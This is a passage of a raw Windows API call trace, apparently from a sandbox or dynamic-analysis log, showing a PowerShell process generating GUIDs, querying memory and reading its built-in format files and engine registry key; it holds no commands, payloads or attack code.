AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.877] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x6651fcc8, Data2=0x6c20, Data3=0x4920, Data4=([0]=0x8a, [1]=0xf2, [2]=0xfd, [3]=0x62, [4]=0x61, [5]=0x91, [6]=0x6a, [7]=0xd4))) returned 0x0 [0064.877] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x42a00461, Data2=0xe55a, Data3=0x46f7, Data4=([0]=0xa7, [1]=0xa, [2]=0xda, [3]=0x31, [4]=0xae, [5]=0x54, [6]=0x49, [7]=0xea))) returned 0x0 [0064.877] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x45428c7f, Data2=0xc8f4, Data3=0x4628, Data4=([0]=0x9a, [1]=0xd5, [2]=0x4c, [3]=0x55, [4]=0x86, [5]=0x57, [6]=0xae, [7]=0xb))) returned 0x0 [0064.877] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x48fc39a5, Data2=0xa31, Data3=0x4ff4, Data4=([0]=0x9e, [1]=0x5e, [2]=0xdc, [3]=0xa1, [4]=0x27, [5]=0xdd, [6]=0xe, [7]=0x73))) returned 0x0 [0064.877] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.877] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x1212962c, Data2=0x96fa, Data3=0x4117, Data4=([0]=0x89, [1]=0x99, [2]=0xf2, [3]=0x54, [4]=0x19, [5]=0x8a, [6]=0xf6, [7]=0xf8))) returned 0x0 [0064.878] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.878] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.878] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.879] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.879] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.880] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x56b919d4, Data2=0xf4a9, Data3=0x4d93, Data4=([0]=0x94, [1]=0x74, [2]=0x73, [3]=0xeb, [4]=0x76, [5]=0x72, [6]=0x47, [7]=0xce))) returned 0x0 [0064.880] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x40427b03, Data2=0xbd3e, Data3=0x4474, Data4=([0]=0x83, [1]=0xd1, [2]=0x3f, [3]=0x13, [4]=0xae, [5]=0x7f, [6]=0x9, [7]=0x98))) returned 0x0 [0064.880] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x48878988, Data2=0xafdf, Data3=0x4027, Data4=([0]=0xb0, [1]=0x5e, [2]=0xc2, [3]=0x31, [4]=0x74, [5]=0x6c, [6]=0x9e, [7]=0xdf))) returned 0x0 [0064.880] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x6fda6e64, Data2=0x37f1, Data3=0x4e7b, Data4=([0]=0xbb, [1]=0xdf, [2]=0x6, [3]=0xca, [4]=0xd2, [5]=0xee, [6]=0x9a, [7]=0x4d))) returned 0x0 [0064.880] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x779e813c, Data2=0xd967, Data3=0x49d5, Data4=([0]=0xb1, [1]=0xac, [2]=0x9f, [3]=0x5f, [4]=0xb, [5]=0x7, [6]=0x7e, [7]=0x19))) returned 0x0 [0064.881] VirtualQuery (in: lpAddress=0x2ed6a4, lpBuffer=0x2ee6a4, dwLength=0x1c | out: lpBuffer=0x2ee6a4*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.881] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x62f0eae4, Data2=0x1466, Data3=0x4da6, Data4=([0]=0x96, [1]=0x85, [2]=0x74, [3]=0x70, [4]=0xf0, [5]=0x9c, [6]=0xb7, [7]=0x18))) returned 0x0 [0064.881] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x1eec4c05, Data2=0x3d55, Data3=0x4110, Data4=([0]=0x95, [1]=0xde, [2]=0x7e, [3]=0x8f, [4]=0x9f, [5]=0x85, [6]=0x8d, [7]=0x7e))) returned 0x0 [0064.881] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xc022427d, Data2=0x9547, Data3=0x4a29, Data4=([0]=0x85, [1]=0x7d, [2]=0xf3, [3]=0x2a, [4]=0xb7, [5]=0x77, [6]=0x17, [7]=0x1f))) returned 0x0 [0064.881] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x19f4d03b, Data2=0xe703, Data3=0x47f1, Data4=([0]=0x96, [1]=0xde, [2]=0xd4, [3]=0x56, [4]=0x2, [5]=0x80, [6]=0xbf, [7]=0x9f))) returned 0x0 [0064.882] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xcba4c7e5, Data2=0xbb54, Data3=0x4ac6, Data4=([0]=0x81, [1]=0x2c, [2]=0xe0, [3]=0xa3, [4]=0x2e, [5]=0x76, [6]=0x60, [7]=0xf6))) returned 0x0 [0064.882] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xca9626a4, Data2=0x1c3d, Data3=0x490f, Data4=([0]=0xae, [1]=0x9d, [2]=0xe3, [3]=0x7d, [4]=0x98, [5]=0x4e, [6]=0x53, [7]=0x15))) returned 0x0 [0064.882] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xa92f300b, Data2=0x5309, Data3=0x4afd, Data4=([0]=0x80, [1]=0xe6, [2]=0xff, [3]=0xa2, [4]=0xa7, [5]=0x56, [6]=0xdd, [7]=0xd4))) returned 0x0 [0064.882] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x6183479d, Data2=0xafff, Data3=0x4b5d, Data4=([0]=0xa9, [1]=0x23, [2]=0xda, [3]=0x9b, [4]=0xee, [5]=0x75, [6]=0x14, [7]=0xaf))) returned 0x0 [0064.882] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x53896aa7, Data2=0xf398, Data3=0x44e6, Data4=([0]=0x86, [1]=0x1a, [2]=0x5a, [3]=0x65, [4]=0x16, [5]=0x53, [6]=0xd8, [7]=0x8))) returned 0x0 [0064.882] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x2432ca9f, Data2=0x5bb6, Data3=0x42fa, Data4=([0]=0x95, [1]=0x7f, [2]=0x80, [3]=0xab, [4]=0x35, [5]=0x37, [6]=0x3a, [7]=0x8b))) returned 0x0 [0064.882] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xa146c648, Data2=0x1736, Data3=0x4350, Data4=([0]=0x86, [1]=0x9f, [2]=0x7, [3]=0x5b, [4]=0x2c, [5]=0x6f, [6]=0xe8, [7]=0x66))) returned 0x0 [0064.883] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x56029a6, Data2=0xdd7c, Data3=0x4c4e, Data4=([0]=0x80, [1]=0x49, [2]=0xde, [3]=0x32, [4]=0xdf, [5]=0x2b, [6]=0xb2, [7]=0x36))) returned 0x0 [0064.883] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x86fc1e3d, Data2=0xec7e, Data3=0x40af, Data4=([0]=0xab, [1]=0x5c, [2]=0xf4, [3]=0x18, [4]=0x5e, [5]=0xb3, [6]=0xde, [7]=0xff))) returned 0x0 [0064.883] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x7cae4ab2, Data2=0x179d, Data3=0x451c, Data4=([0]=0xb5, [1]=0x4a, [2]=0x4d, [3]=0x79, [4]=0x31, [5]=0x14, [6]=0x46, [7]=0x6f))) returned 0x0 [0064.883] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xc8254904, Data2=0x6394, Data3=0x4d1a, Data4=([0]=0xac, [1]=0xcc, [2]=0x7e, [3]=0x59, [4]=0xcf, [5]=0x9d, [6]=0x4, [7]=0x84))) returned 0x0 [0064.883] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xfd380ec6, Data2=0x77f4, Data3=0x4009, Data4=([0]=0x96, [1]=0xb5, [2]=0xc4, [3]=0x50, [4]=0x32, [5]=0x68, [6]=0xdc, [7]=0xa1))) returned 0x0 [0064.883] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xeb2bee83, Data2=0x45e2, Data3=0x4168, Data4=([0]=0xa9, [1]=0x66, [2]=0xb, [3]=0xa4, [4]=0xba, [5]=0xca, [6]=0x11, [7]=0xc6))) returned 0x0 [0064.884] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x19ecd49d, Data2=0x7f4e, Data3=0x4112, Data4=([0]=0xa7, [1]=0xc0, [2]=0x63, [3]=0x89, [4]=0x2, [5]=0x6f, [6]=0x2d, [7]=0x50))) returned 0x0 [0064.884] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x3c79ade7, Data2=0xb67c, Data3=0x43ac, Data4=([0]=0xa1, [1]=0xe3, [2]=0xe2, [3]=0x77, [4]=0xfb, [5]=0xe4, [6]=0xf9, [7]=0xf3))) returned 0x0 [0064.884] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.884] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.886] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.888] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x907c98d3, Data2=0xe3f6, Data3=0x4649, Data4=([0]=0xa8, [1]=0xdf, [2]=0x1d, [3]=0x52, [4]=0xa4, [5]=0xbb, [6]=0x56, [7]=0x97))) returned 0x0 [0064.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0064.889] GetLastError () returned 0x0 [0064.889] SetErrorMode (uMode=0x1) returned 0x1 [0064.889] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x31c [0064.889] GetLastError () returned 0x0 [0064.889] GetFileType (hFile=0x31c) returned 0x1 [0064.889] SetErrorMode (uMode=0x1) returned 0x1 [0064.889] GetFileType (hFile=0x31c) returned 0x1 [0064.889] ReadFile (in: hFile=0x31c, lpBuffer=0x3116bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3116bc8*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.913] GetLastError () returned 0x0 [0064.914] ReadFile (in: hFile=0x31c, lpBuffer=0x3116bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3116bc8*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.915] GetLastError () returned 0x0 [0064.915] ReadFile (in: hFile=0x31c, lpBuffer=0x3116bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3116bc8*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.915] GetLastError () returned 0x0 [0064.915] ReadFile (in: hFile=0x31c, lpBuffer=0x3116bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x3116bc8*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.915] GetLastError () returned 0x0 [0064.916] CloseHandle (hObject=0x31c) returned 1 [0064.917] GetLastError () returned 0x0 [0064.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0064.917] GetLastError () returned 0x0 [0064.917] SetErrorMode (uMode=0x1) returned 0x1 [0064.917] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x3137bc4 | out: lpFileInformation=0x3137bc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0064.917] GetLastError () returned 0x0 [0064.917] SetErrorMode (uMode=0x1) returned 0x1 [0064.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0064.917] GetLastError () returned 0x0 [0064.917] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0064.917] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.918] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.918] RegCloseKey (hKey=0x31c) returned 0x0 [0064.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0064.918] GetLastError () returned 0x0 [0064.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0064.918] GetLastError () returned 0x0 [0064.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0064.919] GetLastError () returned 0x0 [0064.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0064.919] GetLastError () returned 0x0 [0064.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0064.919] GetLastError () returned 0x0 [0064.919] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x55dc42a7, Data2=0xfabe, Data3=0x48d2, Data4=([0]=0xb0, [1]=0xa1, [2]=0x81, [3]=0x3c, [4]=0xdf, [5]=0xe2, [6]=0xb3, [7]=0x51))) returned 0x0 [0064.920] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x665f2a03, Data2=0xaaf2, Data3=0x4454, Data4=([0]=0x84, [1]=0x6, [2]=0x2, [3]=0xed, [4]=0x6f, [5]=0x9e, [6]=0xae, [7]=0x53))) returned 0x0 [0064.920] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xb2af0a19, Data2=0x45b6, Data3=0x4c5d, Data4=([0]=0x9a, [1]=0xdc, [2]=0x78, [3]=0x67, [4]=0x5d, [5]=0xc9, [6]=0x68, [7]=0x6e))) returned 0x0 [0064.921] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xbd2aa7de, Data2=0xbe73, Data3=0x43f0, Data4=([0]=0xb2, [1]=0x5, [2]=0x7, [3]=0xc4, [4]=0xef, [5]=0xee, [6]=0x82, [7]=0xeb))) returned 0x0 [0064.921] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.921] VirtualQuery (in: lpAddress=0x2ed550, lpBuffer=0x2ee550, dwLength=0x1c | out: lpBuffer=0x2ee550*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0064.921] GetLastError () returned 0x0 [0064.921] SetErrorMode (uMode=0x1) returned 0x1 [0064.921] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x31c [0064.921] GetLastError () returned 0x0 [0064.921] GetFileType (hFile=0x31c) returned 0x1 [0064.921] SetErrorMode (uMode=0x1) returned 0x1 [0064.922] GetFileType (hFile=0x31c) returned 0x1 [0064.936] CloseHandle (hObject=0x31c) returned 1 [0064.936] GetLastError () returned 0x0 [0064.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0064.936] GetLastError () returned 0x0 [0064.936] SetErrorMode (uMode=0x1) returned 0x1 [0064.936] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x3181be8 | out: lpFileInformation=0x3181be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0064.936] GetLastError () returned 0x0 [0064.936] SetErrorMode (uMode=0x1) returned 0x1 [0064.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0064.937] GetLastError () returned 0x0 [0064.937] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0064.937] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.937] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0064.937] RegCloseKey (hKey=0x31c) returned 0x0 [0064.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0064.938] GetLastError () returned 0x0 [0064.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0064.938] GetLastError () returned 0x0 [0064.950] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x69c8f7a1, Data2=0x1b1c, Data3=0x4409, Data4=([0]=0xac, [1]=0xb4, [2]=0x7b, [3]=0xbe, [4]=0xea, [5]=0xe0, [6]=0xd1, [7]=0x61))) returned 0x0 [0064.951] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x59ccb445, Data2=0x9d49, Data3=0x4914, Data4=([0]=0x82, [1]=0x33, [2]=0xe6, [3]=0xda, [4]=0xda, [5]=0xb9, [6]=0xce, [7]=0xfa))) returned 0x0 [0064.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0064.951] GetLastError () returned 0x0 [0064.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee070, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0064.951] GetLastError () returned 0x0 [0064.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee070, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0064.951] GetLastError () returned 0x0 [0064.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee070, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0064.951] GetLastError () returned 0x0 [0064.981] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x2656f897, Data2=0x4e87, Data3=0x41a8, Data4=([0]=0xb6, [1]=0x8a, [2]=0xc1, [3]=0x12, [4]=0x59, [5]=0xde, [6]=0x76, [7]=0xc))) returned 0x0 [0064.984] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x73f9a1d3, Data2=0xe798, Data3=0x43ae, Data4=([0]=0x8b, [1]=0xee, [2]=0x9a, [3]=0xf6, [4]=0xb4, [5]=0x8f, [6]=0x55, [7]=0xbc))) returned 0x0 [0064.988] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x87c01a59, Data2=0x2d84, Data3=0x41b0, Data4=([0]=0xa1, [1]=0x14, [2]=0xc6, [3]=0xef, [4]=0xe1, [5]=0xbe, [6]=0x8e, [7]=0x14))) returned 0x0 [0064.988] CoCreateGuid (in: pguid=0x2ee818 | out: 